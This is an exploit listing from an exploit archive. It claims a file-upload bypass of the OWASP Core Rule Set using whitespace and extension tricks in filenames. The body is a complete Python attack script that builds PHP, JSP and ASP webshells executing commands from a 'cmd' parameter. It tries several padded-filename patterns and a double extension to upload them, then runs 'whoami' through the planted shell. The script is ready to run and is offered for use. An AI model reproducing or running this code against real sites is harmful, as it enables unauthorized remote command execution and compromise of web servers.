Share
## https://sploitus.com/exploit?id=PACKETSTORM:219846
==================================================================================================================================
    | # Title     : OWASP CRS 3.3.9, 4.25.x LTS, and 4.8.x. File Upload Bypass via Filename Whitespace / Extension Parsing Weakness  |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://owasp.org/                                                                                               |
    ==================================================================================================================================
    
    [+] Summary    : a weakness in some web applications protected by OWASP Core Rule Set (CRS) or similar filters, where file upload validation can be bypassed using ambiguous filename formatting.
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import requests
    import sys
    import argparse
    import os
    from urllib.parse import urljoin
    
    class CRSBypassExploit:
        def __init__(self, target_url, upload_endpoint, verbose=False):
            self.target_url = target_url.rstrip('/')
            self.upload_endpoint = upload_endpoint
            self.verbose = verbose
            self.session = requests.Session()
            
        def log(self, message, level="INFO"):
            if self.verbose or level == "ERROR":
                colors = {
                    "INFO": "\033[94m",
                    "SUCCESS": "\033[92m",
                    "ERROR": "\033[91m",
                    "WARNING": "\033[93m"
                }
                print(f"{colors.get(level, '')}[{level}] {message}\033[0m")
        
        def generate_webshell_php(self, cmd_param="cmd"):
            return f"""<?php
    if (isset($_REQUEST['{cmd_param}'])) {{
        $cmd = $_REQUEST['{cmd_param}'];
        echo "<pre>" . shell_exec($cmd) . "</pre>";
    }} else {{
        echo "Webshell loaded. Use ?{cmd_param}=command";
    }}
    ?>"""
        
        def generate_webshell_jsp(self, cmd_param="cmd"):
            return f"""<%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("{cmd_param}");
    if (cmd != null) {{
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        while ((line = reader.readLine()) != null) {{
            out.println(line);
        }}
    }}
    %>"""
        
        def generate_webshell_asp(self, cmd_param="cmd"):
            return f"""<%
    Dim cmd
    cmd = Request("{cmd_param}")
    If cmd <> "" Then
        CreateObject("WScript.Shell").Run cmd, 0, True
    End If
    %>"""
        
        def upload_file(self, file_content, original_filename, extension, whitespace_position="before"):
            if whitespace_position == "before":
                filename = f"{original_filename}. {extension}"
            elif whitespace_position == "after":
                filename = f"{original_filename}.{extension} "
            elif whitespace_position == "both":
                filename = f"{original_filename}. {extension} "
            elif whitespace_position == "double":
                filename = f"{original_filename}.{extension}  "
            else:
                filename = f"{original_filename}.{extension}"
            
            files = {
                'file': (filename, file_content,
                         'application/x-httpd-php' if extension == 'php' else 'application/x-jsp')
            }
            
            try:
                url = urljoin(self.target_url, self.upload_endpoint)
                response = self.session.post(url, files=files)
                
                self.log(f"Uploaded: {filename}", "INFO")
                self.log(f"Response status: {response.status_code}", "INFO")
                
                return {
                    'success': response.status_code < 400,
                    'filename': filename,
                    'response': response.text,
                    'status_code': response.status_code
                }
            except Exception as e:
                self.log(f"Upload failed: {e}", "ERROR")
                return None
        
        def exploit_php(self, original_filename="shell"):
            self.log("Attempting PHP webshell upload...", "INFO")
            content = self.generate_webshell_php()
            patterns = ['before', 'after', 'both', 'double']
            
            for pattern in patterns:
                self.log(f"Trying pattern: {pattern}", "INFO")
                result = self.upload_file(content, original_filename, "php", pattern)
                
                if result and result['success']:
                    self.log(f"SUCCESS! Uploaded with pattern: {pattern}", "SUCCESS")
                    return result
            
            self.log("All PHP patterns failed", "WARNING")
            return None
        
        def exploit_jsp(self, original_filename="shell"):
            self.log("Attempting JSP webshell upload...", "INFO")
            content = self.generate_webshell_jsp()
            patterns = ['before', 'after', 'both', 'double']
            
            for pattern in patterns:
                self.log(f"Trying pattern: {pattern}", "INFO")
                result = self.upload_file(content, original_filename, "jsp", pattern)
                
                if result and result['success']:
                    self.log(f"SUCCESS! Uploaded with pattern: {pattern}", "SUCCESS")
                    return result
            
            self.log("All JSP patterns failed", "WARNING")
            return None
        
        def test_webshell(self, upload_path, cmd="whoami"):
            try:
                url = urljoin(self.target_url, upload_path)
                response = self.session.get(url, params={'cmd': cmd})
                
                if response.status_code == 200 and response.text:
                    self.log(f"Webshell working! Command output: {response.text[:200]}", "SUCCESS")
                    return True
                else:
                    self.log("Webshell test failed", "WARNING")
                    return False
            except Exception as e:
                self.log(f"Test failed: {e}", "ERROR")
                return False
        
        def exploit_double_extension(self):
            self.log("Attempting double-extension bypass...", "INFO")
            
            content = self.generate_webshell_php()
            filename = "shell. php.jpg"
            
            files = {
                'file': (filename, content, 'image/jpeg')
            }
            
            try:
                url = urljoin(self.target_url, self.upload_endpoint)
                response = self.session.post(url, files=files)
                
                if response.status_code < 400:
                    self.log(f"Double-extension upload successful: {filename}", "SUCCESS")
                    return {
                        'success': True,
                        'filename': filename,
                        'status_code': response.status_code
                    }
                else:
                    self.log("Double-extension upload failed", "WARNING")
                    return None
            except Exception as e:
                self.log(f"Double-extension upload failed: {e}", "ERROR")
                return None
    
    
    def main():
        parser = argparse.ArgumentParser(description='OWASP CRS Bypass Exploit - File Upload with Whitespace Padding')
        parser.add_argument('-u', '--url', required=True)
        parser.add_argument('-e', '--endpoint', default='/upload')
        parser.add_argument('-t', '--type', choices=['php', 'jsp', 'both'], default='both')
        parser.add_argument('-v', '--verbose', action='store_true')
        parser.add_argument('-c', '--command', default='whoami')
        
        args = parser.parse_args()
        
        print("=" * 60)
        print("OWASP CRS Bypass Exploit - CVE-2025-XXXXX")
        print("=" * 60)
        
        exploit = CRSBypassExploit(args.url, args.endpoint, args.verbose)
        results = []
        
        if args.type in ['php', 'both']:
            result = exploit.exploit_php()
            if result:
                results.append(('PHP', result))
        
        if args.type in ['jsp', 'both']:
            result = exploit.exploit_jsp()
            if result:
                results.append(('JSP', result))
        
        double_result = exploit.exploit_double_extension()
        if double_result:
            results.append(('Double Extension', double_result))
        
        if results:
            print("\n" + "=" * 60)
            print("EXPLOITATION SUMMARY")
            print("=" * 60)
            
            for exploit_type, result in results:
                print(f"\n[+] {exploit_type} exploit successful!")
                print(f"    Filename: {result.get('filename')}")
                print(f"    Status: {result.get('status_code', 'N/A')}")
                
                print(f"\n[*] Testing webshell with command: {args.command}")
                exploit.test_webshell(result.get('filename'), args.command)
        else:
            print("\n[-] Exploitation failed!")
    
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================